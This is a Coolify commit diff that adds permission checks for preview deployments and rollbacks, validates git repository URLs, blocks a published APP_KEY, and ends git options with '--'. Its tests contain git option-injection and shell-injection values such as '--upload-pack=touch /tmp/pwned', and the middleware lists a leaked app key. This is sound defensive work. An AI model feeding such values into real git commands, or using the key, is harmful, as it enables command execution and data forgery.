fix(access): restrict preview changes, rollbacks, and repo URL updates

- Require the write permission and update policy to open a preview or
  change its pull request URL, git type, or docker tag via the API;
  deploy-only tokens can only redeploy an existing preview
- Reject rollbacks to commits that are neither a listed rollback image
  nor a successful production deployment (GetRollbackImages::allows)
- Validate git_repository with ValidGitRepositoryUrl when it changes on
  application update
- Add RejectPublishedAppKey global middleware
- Show a "still starting" message when the root setup window is pending
- Document the new 403 responses and constraints in the OpenAPI spec
- Add tests for the new checks
This commit is contained in:
Andras Bacsai
2026-11-08 17:26:34 +01:00
parent 3c588d482d
commit c75e7078b7
36 changed files with 570 additions and 40 deletions
@@ -63,6 +63,23 @@ class GetRollbackImages
];
}
/**
* Whether a rollback to the tag is allowed: the tag is a listed rollback image, or the commit of
* a successful production deployment. Any other commit (for example a commit of an unmerged pull
* request) is rejected, because a rollback builds a missing image from source.
*/
public static function allows(Application $application, string $tag): bool
{
$deployed = $application->deployment_queue()
->where('status', ApplicationDeploymentStatus::FINISHED->value)
->where('pull_request_id', 0)
->where('rollback', false)
->where('commit', $tag)
->exists();
return $deployed || collect(self::run($application)['images'])->contains('tag', $tag);
}
/**
* The repositories of the images that the application builds or pulls. A Docker Compose
* build names the image of each service `<uuid>_<service>`, like the Compose parser does.
+3 -1
View File
@@ -38,7 +38,9 @@ class CreateNewUser implements CreatesNewUsers
if (! User::query()->exists() && ! RootSetupWindow::isOpen()) {
throw ValidationException::withMessages([
'email' => 'The setup window for the root account is closed. Restart Coolify on the server (docker restart coolify) to open it again.',
'email' => RootSetupWindow::isPending()
? 'Coolify has not finished starting. Wait a few seconds, then try again.'
: 'The setup window for the root account is closed. Restart Coolify on the server (docker restart coolify) to open it again.',
]);
}
@@ -106,7 +106,7 @@ class ApplicationPreviewsController extends Controller
#[OA\Post(
summary: 'Create Preview Deployment',
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.',
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.',
path: '/applications/{uuid}/previews',
operationId: 'create-preview-deployment-by-application-uuid',
security: [['bearerAuth' => []]],
@@ -131,6 +131,7 @@ class ApplicationPreviewsController extends Controller
new OA\Response(response: 201, description: 'Preview deployment created.', content: new OA\JsonContent(ref: '#/components/schemas/ApplicationPreviewDeployment')),
new OA\Response(response: 400, ref: '#/components/responses/400'),
new OA\Response(response: 401, ref: '#/components/responses/401'),
new OA\Response(response: 403, description: 'Missing permissions. Opening or changing a preview needs the write permission.'),
new OA\Response(response: 404, ref: '#/components/responses/404'),
new OA\Response(response: 422, ref: '#/components/responses/422'),
new OA\Response(response: 429, description: 'Deployment queue is full.'),
@@ -225,13 +226,27 @@ class ApplicationPreviewsController extends Controller
], 422);
}
$pullRequestHtmlUrl = $request->input('pull_request_html_url');
$changesPreview = ! $preview
|| ($pullRequestHtmlUrl !== null && $pullRequestHtmlUrl !== $preview->pull_request_html_url)
|| ($request->input('git_type') !== null && $request->input('git_type') !== $preview->git_type)
|| ($dockerTag !== null && $dockerTag !== $preview->docker_registry_image_tag);
if ($changesPreview) {
if (! $request->user()->tokenCan('write') && ! $request->user()->tokenCan('root')) {
return response()->json([
'message' => 'Missing required permissions: write. Opening a preview or changing its pull request URL, git type, or docker tag needs the write permission. The deploy permission only redeploys an existing preview.',
], 403);
}
$this->authorize('update', $application);
}
$created = ! $preview;
if ($created) {
$isCompose = $application->build_pack === BuildPackTypes::DOCKERCOMPOSE->value;
$preview = ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => $pullRequestId,
'pull_request_html_url' => $request->input('pull_request_html_url') ?? '',
'pull_request_html_url' => $pullRequestHtmlUrl ?? '',
'git_type' => $isDockerImage ? null : $gitType,
'docker_compose_domains' => $isCompose ? $application->docker_compose_domains : null,
'docker_registry_image_tag' => $dockerTag,
@@ -241,7 +256,7 @@ class ApplicationPreviewsController extends Controller
: $preview->generate_preview_fqdn();
} else {
$preview->fill(array_filter([
'pull_request_html_url' => $request->input('pull_request_html_url'),
'pull_request_html_url' => $pullRequestHtmlUrl,
'git_type' => $isDockerImage ? null : $gitType,
'docker_registry_image_tag' => $dockerTag,
], fn (mixed $value): bool => $value !== null));
@@ -3682,6 +3682,10 @@ class ApplicationsController extends Controller
'ports_exposes' => 'nullable|string|regex:/^(\d+)(,\d+)*$/',
];
$validationRules = array_merge(sharedDataApplications($application), $validationRules);
// A change of Gitea source checks the repository against the Gitea instance below.
if ($request->input('git_repository') !== $application->git_repository && ! $request->has('gitea_app_uuid')) {
$validationRules['git_repository'] = ['string', new ValidGitRepositoryUrl(allowRepositoryPath: true)];
}
$validationMessages = [
...ValidationPatterns::combinedMessages(),
'docker_compose_domains.*.array' => 'An item in the docker_compose_domains array has invalid fields. Only name, domain, and redirect fields are supported.',
@@ -6584,7 +6588,7 @@ class ApplicationsController extends Controller
content: new OA\JsonContent(
required: ['commit'],
properties: [
new OA\Property(property: 'commit', type: 'string', description: 'Image tag / commit to roll back to.'),
new OA\Property(property: 'commit', type: 'string', description: 'Image tag / commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.'),
]
)
),
@@ -6650,6 +6654,13 @@ class ApplicationsController extends Controller
], 422);
}
if (! GetRollbackImages::allows($application, $commit)) {
return response()->json([
'message' => 'Validation failed.',
'errors' => ['commit' => ['The commit is not a rollback image or a successful deployment of this application.']],
], 422);
}
$deployment_uuid = new_public_id();
$result = queue_application_deployment(
application: $application,
+19 -4
View File
@@ -336,7 +336,7 @@ class DeployController extends Controller
new OA\Parameter(name: 'force', in: 'query', description: 'Force rebuild (without cache)', schema: new OA\Schema(type: 'boolean')),
new OA\Parameter(name: 'pr', in: 'query', description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.', schema: new OA\Schema(type: 'integer', maximum: 2147483647)),
new OA\Parameter(name: 'pull_request_id', in: 'query', description: 'Preview deployment identifier. Alias of pr.', schema: new OA\Schema(type: 'integer', maximum: 2147483647)),
new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.', schema: new OA\Schema(type: 'string')),
new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.', schema: new OA\Schema(type: 'string')),
new OA\Parameter(name: 'cancel_previous', in: 'query', description: 'Cancel the older webhook, API, and MCP deployments of the same application, pull request, and server. `queued` cancels the ones that wait in the queue. `building` also stops the ones that are still building; a deployment that already started to replace containers always finishes. Manual, restart, and rollback deployments are never cancelled. Default: `none`.', schema: new OA\Schema(type: 'string', enum: ['none', 'queued', 'building'], default: 'none')),
],
@@ -442,7 +442,14 @@ class DeployController extends Controller
continue;
}
$preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag);
$preview = $resource->previews()->where('pull_request_id', $pr)->first();
$changesPreview = $dockerTag !== null && $dockerTag !== $preview?->docker_registry_image_tag;
if ($changesPreview && ! $this->canChangePreview($resource)) {
$deployments->push(['message' => 'Missing required permissions: write. Opening a preview or changing its docker tag needs the write permission.', 'resource_uuid' => $uuid]);
continue;
}
$preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag, $preview);
$dockerTagForResource = $preview?->docker_registry_image_tag;
} else {
$preview = $resource->previews()->where('pull_request_id', $pr)->first();
@@ -619,10 +626,18 @@ class DeployController extends Controller
return ['message' => $message, 'deployment_uuid' => $deployment_uuid];
}
private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag): ?ApplicationPreview
/**
* Opening a preview or changing its docker tag changes what runs, so it needs the write permission and the update policy, as in the UI.
*/
private function canChangePreview(Application $application): bool
{
$preview = $application->previews()->where('pull_request_id', $pullRequestId)->first();
$user = auth()->user();
return ($user->tokenCan('write') || $user->tokenCan('root')) && $user->can('update', $application);
}
private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag, ?ApplicationPreview $preview): ?ApplicationPreview
{
if (! $preview && $dockerTag === null) {
return null;
}
+2
View File
@@ -20,6 +20,7 @@ use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember;
use App\Http\Middleware\KeepConcurrentTeamSwitch;
use App\Http\Middleware\PreventRequestsDuringMaintenance;
use App\Http\Middleware\RedirectIfAuthenticated;
use App\Http\Middleware\RejectPublishedAppKey;
use App\Http\Middleware\RequirePassword;
use App\Http\Middleware\RequireTeamTwoFactor;
use App\Http\Middleware\ThrottleFailedApiRequests;
@@ -57,6 +58,7 @@ class Kernel extends HttpKernel
protected $middleware = [
// Outermost so Server-Timing includes the full middleware + app cost.
AddServerTimingHeaders::class,
RejectPublishedAppKey::class,
TrustProxies::class,
HandleCors::class,
ThrottleFailedApiRequests::class,
@@ -0,0 +1,50 @@
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;
/**
* Blocks all HTTP requests while APP_KEY (or APP_PREVIOUS_KEYS) is a key that was published in this repository.
*
* Anyone can sign and encrypt data with a published key, so the instance is not safe to serve.
* Console commands still run, so the key can be rotated with `php artisan app-key:reencrypt`.
*/
class RejectPublishedAppKey
{
/**
* Keys from example files that were shipped in this repository.
*
* @var list<string>
*/
public const PUBLISHED_KEYS = [
// .env.windows-docker-desktop.example (removed in v4.6.0)
'base64:ssTlCmrIE/q7whnKMvT6DwURikg69COzGsAwFVROm80=',
];
public function handle(Request $request, Closure $next): Response
{
if (! self::usesPublishedKey()) {
return $next($request);
}
return response(
"Coolify does not start: APP_KEY or APP_PREVIOUS_KEYS contains a key that is public.\n\n".
"1. Generate a new key: openssl rand -base64 32\n".
"2. In .env, set APP_PREVIOUS_KEYS to the old APP_KEY value and APP_KEY=base64:<new key>.\n".
"3. Restart Coolify and run: docker exec coolify php artisan app-key:reencrypt --force\n".
"4. Remove APP_PREVIOUS_KEYS from .env and restart Coolify.\n",
503,
['Content-Type' => 'text/plain; charset=UTF-8'],
);
}
public static function usesPublishedKey(): bool
{
$keys = [config('app.key'), ...(array) config('app.previous_keys', [])];
return array_intersect(array_map(fn ($key) => trim((string) $key), $keys), self::PUBLISHED_KEYS) !== [];
}
}
+1 -1
View File
@@ -3614,7 +3614,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$gitConfigOption = $this->application->gitHttpsCredentialConfigOption();
$gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git';
return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef);
return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote -- '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef);
}
private function update_repository_project_id(): void
+4 -1
View File
@@ -9,6 +9,7 @@ use App\Livewire\Project\Service\Storage;
use App\Livewire\Project\Shared\EnvironmentVariable\All;
use App\Models\Application;
use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl;
use App\Services\Dns\ManagedDnsRecordCleanup;
use App\Services\Dns\ResourceDnsRecords;
use App\Support\ValidationPatterns;
@@ -168,7 +169,9 @@ class General extends Component
? ['nullable']
: ValidationPatterns::applicationDomainRules(),
'parsedServiceDomains.*.domain' => ValidationPatterns::applicationDomainRules(),
'gitRepository' => 'required',
'gitRepository' => isset($this->application) && $this->gitRepository === $this->application->getOriginal('git_repository')
? ['required']
: ['required', 'string', new ValidGitRepositoryUrl(allowRepositoryPath: true)],
'gitBranch' => ['required', 'string', new ValidGitBranch],
'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
'installCommand' => $this->changedCommandRules('installCommand', 'install_command'),
@@ -53,6 +53,11 @@ class Rollback extends Component
$this->authorize('deploy', $this->application);
$commit = validateGitRef($commit, 'rollback commit');
if (! GetRollbackImages::allows($this->application, $commit)) {
$this->dispatch('error', 'Rollback did not start.', 'The commit is not a rollback image or a successful deployment of this application.');
return;
}
$deployment_uuid = new_public_id();
@@ -8,6 +8,7 @@ use App\Models\GithubApp;
use App\Models\GitlabApp;
use App\Models\PrivateKey;
use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\Gate;
use Illuminate\Validation\ValidationException;
@@ -102,6 +103,9 @@ class Source extends Component
{
if ($toModel) {
$this->validate();
if ($this->gitRepository !== $this->application->getOriginal('git_repository')) {
$this->validate(['gitRepository' => ['required', 'string', new ValidGitRepositoryUrl(allowRepositoryPath: true)]]);
}
$attributes = [
'git_repository' => $this->gitRepository,
'git_branch' => $this->gitBranch,
+1 -1
View File
@@ -11,7 +11,7 @@ class ManagePreview extends RestActionTool
{
protected string $name = 'manage_preview';
protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create requires deploy ability, update requires write, delete requires delete. Same validation and permissions as the REST API.';
protected string $description = 'Create (and deploy), update the domains of, or delete a pull request preview deployment of an application of the authenticated team. create requires deploy ability to redeploy an existing preview, and also write ability to open a preview or change its pull request URL, git type, or docker tag; update requires write, delete requires delete. Same validation and permissions as the REST API.';
protected function actions(): array
{
+6 -4
View File
@@ -1820,7 +1820,8 @@ class Application extends BaseModel
['repository' => $customRepository, 'port' => $customPort] = $this->customRepository();
$commands = collect([]);
$customSshKeyLocation = "/root/.ssh/id_rsa_coolify_{$deployment_uuid}";
$base_command = 'git ls-remote';
// `--` ends the options, so a repository value that starts with `-` is not read as a git option.
$base_command = 'git ls-remote --';
if ($this->deploymentType() === 'source') {
$source_html_url = data_get($this, 'source.html_url');
@@ -1969,7 +1970,7 @@ class Application extends BaseModel
$escapedCustomRepository = escapeshellarg($customRepository);
$gitConfigOption = $this->gitHttpsCredentialConfigOption();
if ($gitConfigOption) {
$base_command = "git {$gitConfigOption} ls-remote";
$base_command = "git {$gitConfigOption} ls-remote --";
}
if ($this->gitUsesSsh()) {
$sshCommand = gitSshCommand($deployment_uuid, $customPort, '/root/.ssh/id_rsa', identitiesOnly: false);
@@ -2163,9 +2164,10 @@ class Application extends BaseModel
}
}
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} -b {$escapedBranch}";
// `--` ends the options, so a repository value that starts with `-` is not read as a git option.
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} -b {$escapedBranch} --";
if ($only_checkout) {
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} --no-checkout -b {$escapedBranch}";
$git_clone_command = "git clone{$depthFlag}{$submoduleFlags} --no-checkout -b {$escapedBranch} --";
}
if ($pull_request_id !== 0) {
$pr_branch_name = "pr-{$pull_request_id}-coolify";
+1
View File
@@ -52,6 +52,7 @@ class FortifyServiceProvider extends ServiceProvider
return view('auth.register', [
'isFirstUser' => $isFirstUser,
'isRootSetupWindowPending' => $isFirstUser && RootSetupWindow::isPending(),
'isRootSetupWindowClosed' => $isFirstUser && ! RootSetupWindow::isOpen(),
]);
});
+10 -1
View File
@@ -12,10 +12,16 @@ class ValidGitRepositoryUrl implements ValidationRule
protected bool $allowIP;
public function __construct(bool $allowSSH = true, bool $allowIP = true)
protected bool $allowRepositoryPath;
/**
* @param bool $allowRepositoryPath Also accept a repository path such as `owner/name`, which applications with a Git source store.
*/
public function __construct(bool $allowSSH = true, bool $allowIP = true, bool $allowRepositoryPath = false)
{
$this->allowSSH = $allowSSH;
$this->allowIP = $allowIP;
$this->allowRepositoryPath = $allowRepositoryPath;
}
/**
@@ -195,6 +201,9 @@ class ValidGitRepositoryUrl implements ValidationRule
return;
}
} elseif ($this->allowRepositoryPath && preg_match('/^[a-zA-Z0-9_][a-zA-Z0-9._-]*(\/[a-zA-Z0-9._-]+)+$/', $value) === 1) {
// A repository path (owner/name, or group/subgroup/name) that the Git source turns into a URL.
return;
} else {
$fail('The :attribute must start with https://, http://, git://, ssh://, or be an SSH URL (user@host:path).');
+14 -3
View File
@@ -13,19 +13,30 @@ class RootSetupWindow
{
public const MINUTES = 10;
private const CACHE_KEY = 'root-setup-window';
private const CACHE_KEY = 'root-setup-window-closes-at';
/**
* The key has no TTL: app:init clears the cache before it calls this, so a missing key
* means that Coolify has not finished starting, not that the window is closed.
*/
public static function openIfNoUserExists(): void
{
if (User::query()->exists()) {
return;
}
Cache::put(self::CACHE_KEY, true, now()->addMinutes(self::MINUTES));
Cache::forever(self::CACHE_KEY, now()->addMinutes(self::MINUTES)->getTimestamp());
}
public static function isOpen(): bool
{
return Cache::has(self::CACHE_KEY);
$closesAt = Cache::get(self::CACHE_KEY);
return is_int($closesAt) && now()->getTimestamp() < $closesAt;
}
public static function isPending(): bool
{
return ! Cache::has(self::CACHE_KEY);
}
}
+2 -1
View File
@@ -43,7 +43,8 @@ trait ListensToTeamChannel
}
try {
$payload = decrypt($event['payload']);
// The payload comes from the browser: unserialize it without classes.
$payload = unserialize(decrypt($event['payload'], false), ['allowed_classes' => false]);
} catch (DecryptException) {
return [];
}
+6 -3
View File
@@ -62,7 +62,7 @@
"Applications"
],
"summary": "Create Preview Deployment",
"description": "Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.",
"description": "Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.",
"operationId": "create-preview-deployment-by-application-uuid",
"parameters": [
{
@@ -167,6 +167,9 @@
"401": {
"$ref": "#\/components\/responses\/401"
},
"403": {
"description": "Missing permissions. Opening or changing a preview needs the write permission."
},
"404": {
"$ref": "#\/components\/responses\/404"
},
@@ -6649,7 +6652,7 @@
],
"properties": {
"commit": {
"description": "Image tag \/ commit to roll back to.",
"description": "Image tag \/ commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.",
"type": "string"
}
},
@@ -11645,7 +11648,7 @@
{
"name": "docker_tag",
"in": "query",
"description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id.",
"description": "Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.",
"schema": {
"type": "string"
}
+5 -3
View File
@@ -42,7 +42,7 @@ paths:
tags:
- Applications
summary: 'Create Preview Deployment'
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.'
description: 'Open a preview deployment for a pull request and queue its deployment. When the preview already exists, it is redeployed. A token with the deploy permission can only redeploy an existing preview without changes; opening a preview or changing its pull request URL, git type, or docker tag also needs the write permission. Git based applications need git_type unless they use a GitHub or GitLab App source; Bitbucket also needs commit. Docker Image applications need docker_tag for a new preview.'
operationId: create-preview-deployment-by-application-uuid
parameters:
-
@@ -104,6 +104,8 @@ paths:
$ref: '#/components/responses/400'
'401':
$ref: '#/components/responses/401'
'403':
description: 'Missing permissions. Opening or changing a preview needs the write permission.'
'404':
$ref: '#/components/responses/404'
'422':
@@ -4369,7 +4371,7 @@ paths:
- commit
properties:
commit:
description: 'Image tag / commit to roll back to.'
description: 'Image tag / commit to roll back to. Must be a tag from the rollback images list or the commit of a successful production deployment.'
type: string
type: object
responses:
@@ -7637,7 +7639,7 @@ paths:
-
name: docker_tag
in: query
description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.'
description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id. Opening a preview or changing its tag also needs the write permission.'
schema:
type: string
-
+9 -1
View File
@@ -14,7 +14,15 @@ $email = getOldOrLocal('email', 'test3@example.com');
<x-auth.shell title="Coolify"
:description="$isFirstUser ? 'Create the root account for this instance.' : 'Create your account to get started.'">
<div class="flex flex-col gap-4">
@if ($isRootSetupWindowClosed)
@if ($isRootSetupWindowPending)
<x-auth.alert type="warning">
<p class="font-medium">Coolify is starting</p>
<p class="mt-0.5 text-black/70 dark:text-white/70">Coolify has not finished its start-up tasks.
Wait a few seconds, then reload this page. If this message stays, run this command on the
server:</p>
<code class="mt-2 block font-mono text-xs">docker restart coolify</code>
</x-auth.alert>
@elseif ($isRootSetupWindowClosed)
<x-auth.alert type="warning">
<p class="font-medium">Setup window closed</p>
<p class="mt-0.5 text-black/70 dark:text-white/70">You can create the root account only in the
@@ -1,6 +1,8 @@
<?php
use App\Enums\ApplicationDeploymentStatus;
use App\Jobs\ApplicationDeploymentJob;
use App\Livewire\Project\Application\Rollback;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
@@ -13,6 +15,7 @@ use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Bus;
use Illuminate\Testing\Fluent\AssertableJson;
use Livewire\Livewire;
uses(RefreshDatabase::class);
@@ -106,3 +109,78 @@ test('deployment uuid strings are not converted as objects in API and webhook co
->not->toContain('$deployment_uuid?->toString()');
}
});
describe('application rollback API', function () {
beforeEach(function () {
$this->application = makeDeploymentActionApplication($this->environment, $this->destination);
$this->deployedCommit = str_repeat('a', 40);
ApplicationDeploymentQueue::create([
'application_id' => $this->application->id,
'deployment_uuid' => 'deployed-commit',
'commit' => $this->deployedCommit,
'status' => ApplicationDeploymentStatus::FINISHED->value,
'pull_request_id' => 0,
]);
});
test('queues a rollback to the commit of a successful deployment', function () {
$response = $this->withHeaders(deploymentActionHeaders($this->token))
->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $this->deployedCommit]);
$response->assertSuccessful()->assertJsonPath('message', 'Rollback deployment queued.');
expect(ApplicationDeploymentQueue::query()->where('deployment_uuid', $response->json('deployment_uuid'))->value('rollback'))->toBeTruthy();
});
test('rejects a commit that the application never deployed to production', function (array $deployment) {
$commit = str_repeat('b', 40);
if ($deployment !== []) {
ApplicationDeploymentQueue::create([
'application_id' => $this->application->id,
'deployment_uuid' => 'other-deployment',
'commit' => $commit,
'status' => ApplicationDeploymentStatus::FINISHED->value,
'pull_request_id' => 0,
...$deployment,
]);
}
$this->withHeaders(deploymentActionHeaders($this->token))
->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $commit])
->assertUnprocessable()
->assertJsonValidationErrors('commit');
expect(ApplicationDeploymentQueue::query()->where('rollback', true)->where('deployment_uuid', '!=', 'other-deployment')->exists())->toBeFalse();
})->with([
'unknown commit' => [[]],
'failed deployment' => [['status' => ApplicationDeploymentStatus::FAILED->value]],
'preview deployment' => [['pull_request_id' => 7]],
'earlier rollback' => [['rollback' => true]],
]);
test('rejects a commit that another application deployed', function () {
$other = makeDeploymentActionApplication($this->environment, $this->destination);
$commit = str_repeat('c', 40);
ApplicationDeploymentQueue::create([
'application_id' => $other->id,
'deployment_uuid' => 'other-application',
'commit' => $commit,
'status' => ApplicationDeploymentStatus::FINISHED->value,
'pull_request_id' => 0,
]);
$this->withHeaders(deploymentActionHeaders($this->token))
->postJson("/api/v1/applications/{$this->application->uuid}/rollback", ['commit' => $commit])
->assertUnprocessable();
});
test('the rollback page rejects a commit that the application never deployed', function () {
$this->actingAs($this->user);
Livewire::test(Rollback::class, ['application' => $this->application])
->call('rollbackImage', str_repeat('b', 40))
->assertDispatched('error');
expect(ApplicationDeploymentQueue::query()->where('rollback', true)->exists())->toBeFalse();
});
});
@@ -0,0 +1,96 @@
<?php
use App\Livewire\Project\Application\Source;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
$this->token = $this->user->createToken('git-repository-update-test', ['*'])->plainTextToken;
$server = Server::factory()->create(['team_id' => $this->team->id]);
$destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();
$project = Project::factory()->create(['team_id' => $this->team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]);
$this->application = Application::factory()->create([
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'build_pack' => 'dockerfile',
'git_repository' => 'git@github.com:org/repo.git',
'git_branch' => 'main',
'private_key_id' => $privateKey->id,
]);
});
function patchApplicationGitRepository(mixed $gitRepository)
{
return test()->withHeaders(['Authorization' => 'Bearer '.test()->token])
->patchJson('/api/v1/applications/'.test()->application->uuid, ['git_repository' => $gitRepository]);
}
test('PATCH rejects a git repository that git would read as an option', function (string $gitRepository) {
patchApplicationGitRepository($gitRepository)
->assertUnprocessable()
->assertInvalid(['git_repository']);
expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/repo.git');
})->with([
'upload-pack option' => ['--upload-pack=touch /tmp/pwned'],
'option without value' => ['--upload-pack'],
'short option path' => ['-u/x'],
'absolute local path' => ['/root/.ssh'],
'shell characters' => ['git@github.com:org/repo.git;id'],
]);
test('PATCH accepts a valid git repository URL', function () {
patchApplicationGitRepository('git@github.com:org/other-repo.git')->assertOk();
expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/other-repo.git');
});
test('PATCH accepts the stored git repository without a new check', function () {
$this->application->forceFill(['git_repository' => 'legacy value'])->saveQuietly();
patchApplicationGitRepository('legacy value')->assertOk();
});
test('the Source form rejects a git repository that git would read as an option', function () {
Livewire::actingAs($this->user)
->test(Source::class, ['application' => $this->application])
->set('gitRepository', '--upload-pack=touch /tmp/pwned')
->call('submit')
->assertDispatched('error')
->assertNotDispatched('success');
expect($this->application->refresh()->git_repository)->toBe('git@github.com:org/repo.git');
});
test('the deploy key ls-remote and clone commands end the git options before the repository', function () {
$this->application->forceFill(['git_repository' => '--upload-pack=touch /tmp/pwned'])->saveQuietly();
$application = $this->application->refresh();
$lsRemote = collect($application->generateGitLsRemoteCommands('deploy-uuid', false)['commands'])->flatten()->implode("\n");
$clone = collect($application->generateGitImportCommands('deploy-uuid', exec_in_docker: false)['commands'])->flatten()->implode("\n");
expect($lsRemote)->toContain("git ls-remote -- '--upload-pack=touch /tmp/pwned'")
->and($clone)->toContain("-b 'main' -- '--upload-pack=touch /tmp/pwned'");
});
@@ -691,6 +691,71 @@ describe('POST /api/v1/applications/{uuid}/previews', function () {
'write' => [['write']],
]);
test('a deploy-only token cannot open a preview', function () {
$this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy'])))
->postJson("/api/v1/applications/{$this->application->uuid}/previews", [
'pull_request_id' => 42,
'git_type' => 'github',
])
->assertForbidden();
expect(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse()
->and($this->application->deployment_queue()->exists())->toBeFalse();
});
test('a deploy-only token cannot change an existing preview', function (array $changes) {
$preview = createPreview($this->application, 42);
$preview->update(['git_type' => 'github']);
$this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy'])))
->postJson("/api/v1/applications/{$this->application->uuid}/previews", ['pull_request_id' => 42, ...$changes])
->assertForbidden();
$preview->refresh();
expect($preview->git_type)->toBe('github')
->and($preview->pull_request_html_url)->toBe('https://github.com/example/repo/pull/42')
->and($this->application->deployment_queue()->exists())->toBeFalse();
})->with([
'git type' => [['git_type' => 'gitlab']],
'pull request url' => [['pull_request_html_url' => 'https://github.com/other/repo/pull/42']],
]);
test('a deploy-only token can redeploy an existing preview without changes', function () {
$preview = createPreview($this->application, 42);
$preview->update(['git_type' => 'github']);
$this->withHeaders(previewAuthHeaders(createTeamApiToken($this->user, $this->team, ['deploy'])))
->postJson("/api/v1/applications/{$this->application->uuid}/previews", [
'pull_request_id' => 42,
'git_type' => 'github',
'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
])
->assertOk()
->assertJsonPath('message', 'Preview deployment queued.');
expect($this->application->deployment_queue()->latest('id')->first()->pull_request_id)->toBe(42);
});
test('a member with only a deploy grant cannot open a preview', function () {
$member = User::factory()->create();
$this->team->members()->attach($member->id, [
'role' => 'member',
'access' => json_encode([
['scope' => 'project', 'uuid' => $this->project->uuid, 'levels' => ['read', 'deploy']],
]),
]);
$this->withHeaders(previewAuthHeaders(createTeamApiToken($member, $this->team, ['read', 'write', 'deploy'])))
->postJson("/api/v1/applications/{$this->application->uuid}/previews", [
'pull_request_id' => 42,
'git_type' => 'github',
])
->assertForbidden();
expect(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse()
->and($this->application->deployment_queue()->exists())->toBeFalse();
});
test('returns 404 for an application of another team', function () {
$otherTeam = Team::factory()->create();
$otherUser = User::factory()->create();
@@ -184,3 +184,33 @@ test('a member without deploy access cannot create or change a docker image prev
expect($application->previews()->pluck('docker_registry_image_tag', 'pull_request_id')->all())->toBe([7 => 'pr_7']);
expect($application->deployment_queue()->count())->toBe(0);
});
test('a deploy-only token cannot open or retag a docker image preview but can redeploy it', function () {
